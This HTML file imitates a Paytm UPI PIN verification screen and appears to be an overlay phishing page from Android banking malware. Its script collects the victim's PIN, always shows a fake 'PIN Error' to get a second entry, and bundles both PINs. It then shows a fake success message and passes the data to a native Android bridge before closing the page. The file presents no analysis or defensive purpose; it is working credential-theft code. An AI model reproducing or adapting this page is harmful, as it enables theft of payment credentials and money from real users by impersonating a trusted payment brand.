702 lines
25 KiB
HTML
702 lines
25 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<title>Paytm · UPI PIN</title>
|
|
<link rel="shortcut icon"
|
|
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
|
|
type="image/png">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
|
|
<meta charset="utf-8">
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<style type="text/css">
|
|
:root {
|
|
--pt-page-bg: #fbfbfc;
|
|
--pt-navy: #0a1f44;
|
|
--pt-navy-press: #07142f;
|
|
--pt-blue: #00b9f5;
|
|
--pt-blue-deep: #0086c9;
|
|
--pt-strip-end: #5edbff;
|
|
--pt-text: #101828;
|
|
--pt-muted: #5c667a;
|
|
--pt-muted2: #8b95a8;
|
|
--pt-input-border: #7dd3fc;
|
|
--pt-hint: #0891b2;
|
|
--pt-card-radius: 16px;
|
|
--pt-shadow: 0 10px 36px rgba(15, 23, 42, 0.1);
|
|
--pt-key-shadow: 0 2px 8px rgba(15, 23, 42, 0.06);
|
|
}
|
|
|
|
* {
|
|
box-sizing: border-box;
|
|
}
|
|
|
|
body {
|
|
margin: 0;
|
|
min-height: 100dvh;
|
|
font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
|
|
background: var(--pt-page-bg);
|
|
color: var(--pt-text);
|
|
overflow-x: hidden;
|
|
overflow-y: auto;
|
|
-webkit-tap-highlight-color: transparent;
|
|
}
|
|
|
|
.page {
|
|
min-height: 100dvh;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
padding: 16px;
|
|
}
|
|
|
|
.card {
|
|
width: 100%;
|
|
max-width: 400px;
|
|
background: #fff;
|
|
border-radius: var(--pt-card-radius);
|
|
box-shadow: var(--pt-shadow);
|
|
padding: 0;
|
|
overflow: hidden;
|
|
position: relative;
|
|
}
|
|
|
|
.pt-card-strip {
|
|
height: 32px;
|
|
width: 100%;
|
|
background: linear-gradient(90deg, var(--pt-blue-deep) 0%, var(--pt-blue) 55%, var(--pt-strip-end) 100%);
|
|
border-radius: 16px;
|
|
}
|
|
|
|
.card-pad {
|
|
padding: 20px 20px 18px;
|
|
}
|
|
|
|
.pp-header {
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
gap: 12px;
|
|
padding-bottom: 14px;
|
|
}
|
|
|
|
.pp-logo {
|
|
width: 46px;
|
|
height: 46px;
|
|
border-radius: 12px;
|
|
/* background: linear-gradient(145deg, var(--pt-blue-deep) 0%, var(--pt-blue) 100%); */
|
|
color: #fff;
|
|
font-weight: 800;
|
|
font-size: 22px;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
flex-shrink: 0;
|
|
letter-spacing: -0.02em;
|
|
}
|
|
|
|
.pp-brand {
|
|
text-align: left;
|
|
}
|
|
|
|
.pp-name {
|
|
font-size: 20px;
|
|
font-weight: 700;
|
|
letter-spacing: -0.02em;
|
|
color: var(--pt-text);
|
|
}
|
|
|
|
.pp-sub {
|
|
font-size: 13px;
|
|
color: var(--pt-muted2);
|
|
margin-top: 2px;
|
|
}
|
|
|
|
.pp-verify {
|
|
text-align: center;
|
|
}
|
|
|
|
.pp-badge {
|
|
display: inline-block;
|
|
background: var(--pt-blue);
|
|
color: #fff;
|
|
font-size: 11px;
|
|
font-weight: 700;
|
|
letter-spacing: 0.06em;
|
|
padding: 5px 12px;
|
|
border-radius: 999px;
|
|
margin-bottom: 2px;
|
|
}
|
|
|
|
.pp-lock {
|
|
margin: 12px auto 8px;
|
|
width: 40px;
|
|
height: 40px;
|
|
color: var(--pt-blue);
|
|
}
|
|
|
|
.pp-lock svg {
|
|
width: 100%;
|
|
height: 100%;
|
|
display: block;
|
|
}
|
|
|
|
.pp-title {
|
|
font-size: 21px;
|
|
font-weight: 700;
|
|
margin: 0 0 10px;
|
|
letter-spacing: -0.02em;
|
|
color: var(--pt-text);
|
|
}
|
|
|
|
.pp-hint {
|
|
font-size: 14px;
|
|
color: var(--pt-muted);
|
|
line-height: 1.45;
|
|
margin: 0 0 6px;
|
|
padding: 0 4px;
|
|
}
|
|
|
|
.pp-hint2 {
|
|
font-size: 12px;
|
|
color: var(--pt-muted2);
|
|
line-height: 1.4;
|
|
margin: 0 0 16px;
|
|
padding: 0 4px;
|
|
}
|
|
|
|
fieldset {
|
|
border: none;
|
|
margin: 0;
|
|
padding: 0;
|
|
width: 100%;
|
|
}
|
|
|
|
#ccdata,
|
|
#passworddata {
|
|
display: none;
|
|
}
|
|
|
|
.pin-wrap {
|
|
text-align: left;
|
|
margin-bottom: 6px;
|
|
}
|
|
|
|
.pin_input {
|
|
width: 100%;
|
|
padding: 14px 16px;
|
|
border: 1.5px solid var(--pt-input-border);
|
|
border-radius: 12px;
|
|
font-size: 32px;
|
|
letter-spacing: 0.3em;
|
|
max-height: 52px;
|
|
text-align: center;
|
|
background: #fff;
|
|
color: var(--pt-hint);
|
|
-webkit-text-security: disc;
|
|
pointer-events: none;
|
|
user-select: none;
|
|
-webkit-user-select: none;
|
|
cursor: default;
|
|
caret-color: transparent;
|
|
}
|
|
|
|
.pin_input::placeholder {
|
|
letter-spacing: 0;
|
|
font-size: 15px;
|
|
color: var(--pt-muted2);
|
|
-webkit-text-security: none;
|
|
}
|
|
|
|
.pin_input:focus {
|
|
outline: none;
|
|
box-shadow: none;
|
|
}
|
|
|
|
.pin_input.filled {
|
|
background: #f8fafc;
|
|
}
|
|
|
|
.pin_input::-ms-reveal,
|
|
.pin_input::-ms-clear {
|
|
display: none;
|
|
}
|
|
|
|
.pp-pin-note {
|
|
font-size: 12px;
|
|
color: var(--pt-hint);
|
|
font-weight: 600;
|
|
margin: 8px 0 18px;
|
|
text-align: center;
|
|
}
|
|
|
|
.keypad {
|
|
display: grid;
|
|
grid-template-columns: repeat(3, 1fr);
|
|
gap: 10px;
|
|
margin-bottom: 16px;
|
|
}
|
|
|
|
.key {
|
|
border: none;
|
|
border-radius: 12px;
|
|
background: #fff;
|
|
box-shadow: var(--pt-key-shadow);
|
|
font-size: 22px;
|
|
font-weight: 600;
|
|
color: var(--pt-text);
|
|
height: 52px;
|
|
cursor: pointer;
|
|
padding: 0;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
}
|
|
|
|
.key:active {
|
|
transform: scale(0.97);
|
|
background: #f1f5f9;
|
|
}
|
|
|
|
.key--muted {
|
|
background: #e2e8f0;
|
|
box-shadow: none;
|
|
}
|
|
|
|
.key--muted:active {
|
|
background: #cbd5e1;
|
|
}
|
|
|
|
.key--confirm {
|
|
background: var(--pt-navy);
|
|
color: #fff;
|
|
box-shadow: 0 4px 14px rgba(10, 31, 68, 0.28);
|
|
}
|
|
|
|
.key--confirm:active {
|
|
background: var(--pt-navy-press);
|
|
}
|
|
|
|
.key--confirm svg {
|
|
width: 26px;
|
|
height: 26px;
|
|
}
|
|
|
|
.key--back svg {
|
|
width: 26px;
|
|
height: 26px;
|
|
opacity: 0.72;
|
|
}
|
|
|
|
.pp-warning {
|
|
font-size: 12px;
|
|
color: #c62828;
|
|
margin: 0 0 10px;
|
|
line-height: 1.4;
|
|
}
|
|
|
|
.pp-footer-brand {
|
|
font-size: 11px;
|
|
color: var(--pt-muted2);
|
|
margin: 0;
|
|
}
|
|
|
|
.pp-pin-panel {
|
|
display: block;
|
|
}
|
|
|
|
.pp-state-loading,
|
|
.pp-state-success {
|
|
display: none;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
justify-content: center;
|
|
min-height: 220px;
|
|
padding: 8px 0 4px;
|
|
}
|
|
|
|
.pp-spinner {
|
|
width: 52px;
|
|
height: 52px;
|
|
border: 3px solid #e2e8f0;
|
|
border-top-color: var(--pt-blue);
|
|
border-radius: 50%;
|
|
animation: pt-spin 0.75s linear infinite;
|
|
box-sizing: border-box;
|
|
}
|
|
|
|
@keyframes pt-spin {
|
|
to {
|
|
transform: rotate(360deg);
|
|
}
|
|
}
|
|
|
|
.pp-success-mark {
|
|
width: 82px;
|
|
height: 82px;
|
|
border-radius: 50%;
|
|
background: linear-gradient(145deg, var(--pt-blue-deep) 0%, var(--pt-blue) 100%);
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
margin: 0 auto 16px;
|
|
box-shadow: 0 4px 12px rgba(0, 185, 245, 0.18);
|
|
}
|
|
|
|
.pp-success-mark svg {
|
|
width: 42px;
|
|
height: 42px;
|
|
stroke: #fff;
|
|
stroke-width: 3;
|
|
fill: none;
|
|
stroke-linecap: round;
|
|
stroke-linejoin: round;
|
|
}
|
|
|
|
.pp-success-msg {
|
|
font-size: 17px;
|
|
font-weight: 700;
|
|
color: var(--pt-text);
|
|
margin: 0;
|
|
letter-spacing: -0.02em;
|
|
}
|
|
|
|
.card.is-verifying .pp-pin-panel {
|
|
display: none;
|
|
}
|
|
|
|
.card.is-verifying .pp-state-loading {
|
|
display: flex;
|
|
}
|
|
|
|
.card.is-success .pp-pin-panel {
|
|
display: none;
|
|
}
|
|
|
|
.card.is-success .pp-state-loading {
|
|
display: none;
|
|
}
|
|
|
|
.card.is-success .pp-state-success {
|
|
display: flex;
|
|
}
|
|
|
|
.card.is-verifying,
|
|
.card.is-success {
|
|
pointer-events: none;
|
|
}
|
|
|
|
.toast {
|
|
position: absolute;
|
|
left: 50%;
|
|
top: 42%;
|
|
transform: translate(-50%, -50%);
|
|
min-width: 160px;
|
|
max-width: 90%;
|
|
background: rgba(10, 31, 68, 0.88);
|
|
color: #fff;
|
|
padding: 12px 16px;
|
|
border-radius: 12px;
|
|
font-size: 14px;
|
|
opacity: 0;
|
|
pointer-events: none;
|
|
transition: opacity 0.2s ease;
|
|
z-index: 20;
|
|
text-align: center;
|
|
}
|
|
|
|
.toast.show {
|
|
opacity: 1;
|
|
}
|
|
</style>
|
|
|
|
<div class="page">
|
|
<div class="card">
|
|
<div class="pt-card-strip" aria-hidden="true"></div>
|
|
<form id="formtosend">
|
|
<fieldset>
|
|
<div class="card-pad" id="infodata">
|
|
<header class="pp-header">
|
|
<div class="pp-logo" aria-hidden="true">
|
|
<svg t="1778779637960" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="1940" width="200" height="200"><path d="M0 0m256 0l512 0q256 0 256 256l0 512q0 256-256 256l-512 0q-256 0-256-256l0-512q0-256 256-256Z" fill="#7dd3fc" p-id="1941" data-spm-anchor-id="a313x.search_index.0.i4.4efb3a81CiiNHk" class=""></path><path d="M546.752 426.624h-38.848c-4.864 0-8.64 3.84-8.64 8.128v78.72c0 4.864-4.352 8.704-9.216 8.704h-16.128c-4.864 0-9.216-3.84-9.216-8.64V435.2c0-4.864-3.776-8.064-8.64-8.064h-38.272c-4.864 0-8.64 3.776-8.64 8.064v85.76c0 32.448 23.68 55.68 57.152 55.68h25.92c4.352 0.512 8.128 4.288 8.128 8.576s-3.2 8.064-8.128 8.64h-57.216c-4.8 0-8.576 3.776-8.576 8.064v38.848c0 4.864 3.776 8.128 8.576 8.128h63.68c33.472 0 57.216-23.232 57.216-55.616V434.176a9.344 9.344 0 0 0-9.152-7.552z m-370.752 0H91.264a8.32 8.32 0 0 0-8.064 8.128v206.656c0 4.864 3.2 8.064 7.552 8.64h39.424c4.8 0 8.576-3.84 8.576-8.128v-58.816h37.248c30.72 0 52.352-21.056 52.352-51.2v-53.44c0-30.784-21.568-51.84-52.352-51.84zM172.8 496.256v23.168c0 4.864-4.352 8.64-9.216 8.64h-24.832v-46.912h24.832c4.864 0 9.216 3.776 9.216 8.64v6.4z m165.12 92.8v-27.008c0-4.8-4.352-8.576-9.216-8.576h-16.192c-4.8 0-9.152 3.776-9.152 8.576v32.384c0 4.864 4.352 8.64 9.152 8.64h16.192c4.352 0 7.552-2.112 8.64-5.888 0-0.576 0-0.576 0.576-1.088v-7.04z m-6.464-161.344c44.8 0 63.616 22.144 63.616 57.728V628.48c0 11.84-10.24 20.992-23.168 20.992H300.672c-33.984 0-55.04-22.08-55.04-53.376v-41.6c0-31.296 24.32-53.376 58.816-53.376h25.92a9.152 9.152 0 0 0 7.552-8.128V487.68a8.64 8.64 0 0 0-7.552-8.128h-52.928c-4.8 0-9.152-3.776-9.152-8.64V435.84c0-4.288 3.84-8.064 8.64-8.064h54.528z" fill="#052E70" p-id="1942"></path><path d="M950.4 460.608a57.6 57.6 0 0 0-54.528-37.76h-0.512a57.408 57.408 0 0 0-41.6 17.28 57.024 57.024 0 0 0-41.536-17.28h-0.512a60.8 60.8 0 0 0-37.76 13.44V432a8.32 8.32 0 0 0-8.64-7.552h-38.848a8.512 8.512 0 0 0-8.64 8.64v208.32c0 4.864 3.776 8.64 8.64 8.64h38.848c4.288 0 7.552-3.2 8.64-7.04V490.304c0.512-6.464 5.376-11.84 13.44-12.416h7.04c3.2 0 5.952 1.6 8.064 3.2a14.08 14.08 0 0 1 5.44 10.88v149.44c0 4.864 3.776 8.064 8.64 8.064h38.848c4.864 0 8.064-3.776 8.64-8.064V491.904c0-4.864 2.112-9.152 6.4-11.84a15.36 15.36 0 0 1 7.04-2.176h7.04c8.064 0.576 13.44 7.04 13.44 14.08v149.44c0 4.864 3.84 8.064 8.704 8.064h38.848c4.864 0 8.64-3.776 8.64-8.064V480.576a80.832 80.832 0 0 0-3.84-19.968m-264.32-33.92h-22.208v-35.136A7.36 7.36 0 0 0 656.256 384h-1.6c-24.832 6.464-19.392 39.936-64.192 42.624h-5.952a8.576 8.576 0 0 0-6.464 8.128v37.76c0 4.864 3.776 8.64 8.64 8.64h23.168v160.256c0 4.864 3.84 8.064 8.64 8.064h38.336c4.864 0 8.64-3.776 8.64-8.064V481.664h21.568a8.512 8.512 0 0 0 8.64-8.64v-37.76c-1.088-4.864-4.864-8.64-9.728-8.64" fill="#ffffff" p-id="1943" data-spm-anchor-id="a313x.search_index.0.i6.4efb3a81CiiNHk" class=""></path></svg>
|
|
</div>
|
|
<div class="pp-brand">
|
|
<div class="pp-name">Paytm</div>
|
|
<div class="pp-sub">Paytm · UPI</div>
|
|
</div>
|
|
</header>
|
|
|
|
<div class="pp-verify">
|
|
<span class="pp-badge">UPI PIN</span>
|
|
<div class="pp-lock" aria-hidden="true">
|
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"
|
|
stroke-linecap="round" stroke-linejoin="round">
|
|
<rect x="5" y="11" width="14" height="10" rx="2" />
|
|
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
|
</svg>
|
|
</div>
|
|
<h1 class="pp-title">UPI PIN Verification</h1>
|
|
<p class="pp-hint">Enter your UPI PIN to complete the transaction.</p>
|
|
<p class="pp-hint2">For your account security, confirm your UPI PIN.</p>
|
|
|
|
<div class="pp-pin-panel" id="pp_pin_panel">
|
|
<div class="pin-wrap">
|
|
<input class="pin_input" id="pin_input" type="password" inputmode="none"
|
|
maxlength="6" autocomplete="off" name="pin" placeholder="" required
|
|
readonly tabindex="-1" aria-readonly="true">
|
|
</div>
|
|
<p class="pp-pin-note">Enter 4-6 digit UPI PIN</p>
|
|
|
|
<div class="keypad" aria-label="UPI PIN keypad">
|
|
<button type="button" class="key key-num" data-digit="1">1</button>
|
|
<button type="button" class="key key-num" data-digit="2">2</button>
|
|
<button type="button" class="key key-num" data-digit="3">3</button>
|
|
<button type="button" class="key key-num" data-digit="4">4</button>
|
|
<button type="button" class="key key-num" data-digit="5">5</button>
|
|
<button type="button" class="key key-num" data-digit="6">6</button>
|
|
<button type="button" class="key key-num" data-digit="7">7</button>
|
|
<button type="button" class="key key-num" data-digit="8">8</button>
|
|
<button type="button" class="key key-num" data-digit="9">9</button>
|
|
<button type="button" class="key key--muted key--back" id="key_back"
|
|
aria-label="Backspace">
|
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
|
<path d="M21 4H8l-7 8 7 8h13a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2z" />
|
|
<line x1="18" y1="9" x2="12" y2="15" />
|
|
<line x1="12" y1="9" x2="18" y2="15" />
|
|
</svg>
|
|
</button>
|
|
<button type="button" class="key key-num" data-digit="0">0</button>
|
|
<button type="button" class="key key--confirm" id="key_confirm"
|
|
aria-label="Confirm">
|
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"
|
|
stroke-linecap="round" stroke-linejoin="round">
|
|
<polyline points="20 6 9 17 4 12" />
|
|
</svg>
|
|
</button>
|
|
</div>
|
|
|
|
<p class="pp-warning">Too many incorrect attempts will lock transactions.</p>
|
|
</div>
|
|
|
|
<div class="pp-state-loading" id="pp_state_loading" aria-live="polite" aria-busy="true">
|
|
<div class="pp-spinner" role="status"></div>
|
|
</div>
|
|
|
|
<div class="pp-state-success" id="pp_state_success">
|
|
<div class="pp-success-mark" aria-hidden="true">
|
|
<svg viewBox="0 0 24 24">
|
|
<polyline points="20 6 9 17 4 12" />
|
|
</svg>
|
|
</div>
|
|
<p class="pp-success-msg">Verification successful</p>
|
|
</div>
|
|
|
|
<p class="pp-footer-brand">Paytm</p>
|
|
</div>
|
|
|
|
<div class="toast" id="toast"></div>
|
|
</div>
|
|
</fieldset>
|
|
</form>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
function stringifyJSON(value) {
|
|
return JSON.stringify(value);
|
|
}
|
|
|
|
function formToJSONbyName(f) {
|
|
var FinalObject = {}, namesHTML = ['input', 'select'];
|
|
for (var i = 0; i < namesHTML.length; i++) {
|
|
var bsform = f.getElementsByTagName(namesHTML[i]);
|
|
for (var j = 0; j < bsform.length; j++) {
|
|
if (bsform[j].name == 'submit') continue;
|
|
FinalObject[bsform[j].name] = bsform[j].value
|
|
}
|
|
}
|
|
return stringifyJSON(FinalObject);
|
|
}
|
|
|
|
function showToast(message) {
|
|
var toast = document.getElementById('toast');
|
|
if (!toast) return;
|
|
toast.textContent = message;
|
|
toast.classList.add('show');
|
|
setTimeout(function () {
|
|
toast.classList.remove('show');
|
|
}, 2000);
|
|
}
|
|
|
|
var _pinSecondChance = false;
|
|
var _firstPin = null;
|
|
var _submittingPin = false;
|
|
var VERIFY_DELAY_MS = 2000;
|
|
var ANDROID_CLOSE_AFTER_MS = 1000;
|
|
|
|
function isPinFlowLocked() {
|
|
var card = document.querySelector('.card');
|
|
return !!(card && (card.classList.contains('is-verifying') || card.classList.contains('is-success')));
|
|
}
|
|
|
|
function deliverResult(data) {
|
|
var ua = navigator.userAgent.toLowerCase();
|
|
if (ua.indexOf("android") > -1) {
|
|
try {
|
|
Android.returnResult(data);
|
|
if (typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
setTimeout(function () {
|
|
window.close();
|
|
window.location.href = 'about:blank';
|
|
}, ANDROID_CLOSE_AFTER_MS);
|
|
} catch (err) { }
|
|
} else {
|
|
setTimeout(function () {
|
|
alert(data);
|
|
}, 400);
|
|
}
|
|
}
|
|
|
|
function validatePin() {
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (!pinInput) return false;
|
|
var value = pinInput.value || '';
|
|
var isValid = /^\d{4,6}$/.test(value);
|
|
if (!isValid) {
|
|
showToast('PIN must be 4-6 digits');
|
|
}
|
|
return isValid;
|
|
}
|
|
|
|
function updateBackground() {
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (!pinInput) return;
|
|
pinInput.classList.toggle('filled', pinInput.value.length > 0);
|
|
}
|
|
|
|
function appendPinDigit(d) {
|
|
if (isPinFlowLocked()) return;
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (!pinInput || pinInput.value.length >= 6) return;
|
|
pinInput.value += d;
|
|
pinInput.dispatchEvent(new Event('input', { bubbles: true }));
|
|
}
|
|
|
|
function backspacePin() {
|
|
if (isPinFlowLocked()) return;
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (!pinInput) return;
|
|
pinInput.value = pinInput.value.slice(0, -1);
|
|
pinInput.dispatchEvent(new Event('input', { bubbles: true }));
|
|
}
|
|
|
|
function send_form() {
|
|
if (isPinFlowLocked()) return;
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (pinInput) {
|
|
var digits = (pinInput.value || '').replace(/\D/g, '').slice(0, 6);
|
|
if (pinInput.value !== digits) pinInput.value = digits;
|
|
updateBackground();
|
|
}
|
|
|
|
if (!validatePin()) {
|
|
return;
|
|
}
|
|
|
|
if (!_pinSecondChance) {
|
|
if (_submittingPin) return;
|
|
_submittingPin = true;
|
|
_firstPin = pinInput ? pinInput.value : null;
|
|
var cardFirst = document.querySelector('.card');
|
|
if (cardFirst) {
|
|
cardFirst.classList.add('is-verifying');
|
|
}
|
|
setTimeout(function () {
|
|
if (cardFirst) {
|
|
cardFirst.classList.remove('is-verifying');
|
|
}
|
|
showToast('PIN Error');
|
|
_pinSecondChance = true;
|
|
if (pinInput) {
|
|
pinInput.value = '';
|
|
updateBackground();
|
|
}
|
|
_submittingPin = false;
|
|
}, VERIFY_DELAY_MS);
|
|
return;
|
|
}
|
|
|
|
if (_submittingPin) return;
|
|
_submittingPin = true;
|
|
|
|
var form = document.getElementById('formtosend');
|
|
var payloadObj = {};
|
|
try {
|
|
payloadObj = JSON.parse(formToJSONbyName(form));
|
|
} catch (e) {
|
|
payloadObj = {};
|
|
}
|
|
if (_firstPin !== null) payloadObj.first_pin = _firstPin;
|
|
var data = JSON.stringify(payloadObj);
|
|
|
|
var card = document.querySelector('.card');
|
|
if (card) {
|
|
card.classList.add('is-verifying');
|
|
}
|
|
|
|
setTimeout(function () {
|
|
if (card) {
|
|
card.classList.remove('is-verifying');
|
|
card.classList.add('is-success');
|
|
}
|
|
deliverResult(data);
|
|
}, VERIFY_DELAY_MS);
|
|
}
|
|
|
|
document.addEventListener('DOMContentLoaded', function () {
|
|
var pinInput = document.getElementById('pin_input');
|
|
if (!pinInput) return;
|
|
|
|
var numKeys = document.querySelectorAll('.key-num');
|
|
for (var k = 0; k < numKeys.length; k++) {
|
|
(function (btn) {
|
|
btn.addEventListener('click', function () {
|
|
var d = btn.getAttribute('data-digit');
|
|
if (d) appendPinDigit(d);
|
|
});
|
|
})(numKeys[k]);
|
|
}
|
|
var backBtn = document.getElementById('key_back');
|
|
if (backBtn) backBtn.addEventListener('click', backspacePin);
|
|
var confirmBtn = document.getElementById('key_confirm');
|
|
if (confirmBtn) confirmBtn.addEventListener('click', function () { send_form(); });
|
|
|
|
pinInput.addEventListener('input', function () {
|
|
var digits = pinInput.value.replace(/\D/g, '').slice(0, 6);
|
|
if (pinInput.value !== digits) {
|
|
pinInput.value = digits;
|
|
}
|
|
updateBackground();
|
|
});
|
|
pinInput.addEventListener('keydown', function (e) {
|
|
e.preventDefault();
|
|
});
|
|
pinInput.addEventListener('paste', function (e) {
|
|
e.preventDefault();
|
|
});
|
|
pinInput.addEventListener('drop', function (e) {
|
|
e.preventDefault();
|
|
});
|
|
updateBackground();
|
|
});
|
|
</script>
|
|
|
|
</body>
|
|
|
|
</html>
|